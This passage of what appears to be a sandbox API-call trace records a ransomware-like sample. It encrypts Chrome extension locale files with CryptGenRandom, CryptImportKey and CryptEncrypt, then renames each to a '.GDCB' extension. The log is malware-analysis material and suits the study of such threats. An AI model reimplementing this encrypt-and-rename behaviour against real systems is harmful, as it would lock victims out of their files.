data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0257.066] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.069] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.071] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.071] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.071] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.071] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.075] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.075] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.075] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.076] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.078] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790ae0) returned 1 [0257.078] CryptGetKeyParam (in: hKey=0x6790ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.078] CryptEncrypt (in: hKey=0x6790ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.079] GetLastError () returned 0x0 [0257.079] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.079] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0257.080] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790de0) returned 1 [0257.081] CryptGetKeyParam (in: hKey=0x6790de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.081] CryptEncrypt (in: hKey=0x6790de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.081] GetLastError () returned 0x0 [0257.081] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.081] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.082] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.085] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.088] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc3, lpOverlapped=0x0) returned 1 [0257.097] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.108] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.gdcb")) returned 1 [0257.115] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.118] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.120] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.120] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.121] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.121] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.126] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.126] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.126] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.129] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67909e0) returned 1 [0257.129] CryptGetKeyParam (in: hKey=0x67909e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.129] CryptEncrypt (in: hKey=0x67909e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.129] GetLastError () returned 0x0 [0257.129] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.129] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.131] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790b20) returned 1 [0257.131] CryptGetKeyParam (in: hKey=0x6790b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.131] CryptEncrypt (in: hKey=0x6790b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.131] GetLastError () returned 0x0 [0257.131] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.131] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.133] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.136] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.138] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd5, lpOverlapped=0x0) returned 1 [0257.147] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.161] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0257.167] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.170] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.173] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.173] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.173] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.173] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.177] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.179] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.179] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.179] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.179] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.182] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790ba0) returned 1 [0257.182] CryptGetKeyParam (in: hKey=0x6790ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.182] CryptEncrypt (in: hKey=0x6790ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.182] GetLastError () returned 0x0 [0257.182] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.182] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.184] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790be0) returned 1 [0257.184] CryptGetKeyParam (in: hKey=0x6790be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.184] CryptEncrypt (in: hKey=0x6790be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.184] GetLastError () returned 0x0 [0257.184] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.184] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.186] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.190] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.193] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xce, lpOverlapped=0x0) returned 1 [0257.201] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.209] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0257.214] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0257.217] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.220] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.220] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.220] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.220] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.225] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.225] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.225] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.225] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0257.228] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790ee0) returned 1 [0257.228] CryptGetKeyParam (in: hKey=0x6790ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.228] CryptEncrypt (in: hKey=0x6790ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.228] GetLastError () returned 0x0 [0257.228] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0257.228] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0257.230] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790c20) returned 1 [0257.230] CryptGetKeyParam (in: hKey=0x6790c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.230] CryptEncrypt (in: hKey=0x6790c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.230] GetLastError () returned 0x0 [0257.230] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.230] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.231] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.235] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.238] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd0, lpOverlapped=0x0) returned 1 [0257.246] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.254] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0257.260] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0257.263] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.265] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.266] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0257.266] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.266] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0257.268] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0257.271] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0257.271] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0257.271] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.271] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0257.273] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790e20) returned 1 [0257.273] CryptGetKeyParam (in: hKey=0x6790e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.273] CryptEncrypt (in: hKey=0x6790e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0257.273] GetLastError () returned 0x0 [0257.273] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0257.273] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0257.275] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790e60) returned 1 [0257.275] CryptGetKeyParam (in: hKey=0x6790e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0257.275] CryptEncrypt (in: hKey=0x6790e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0257.275] GetLastError () returned 0x0 [0257.275] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0257.275] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0257.277] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0257.279] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0257.282] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd5, lpOverlapped=0x0) returned 1 [0257.290] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0257.296] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application 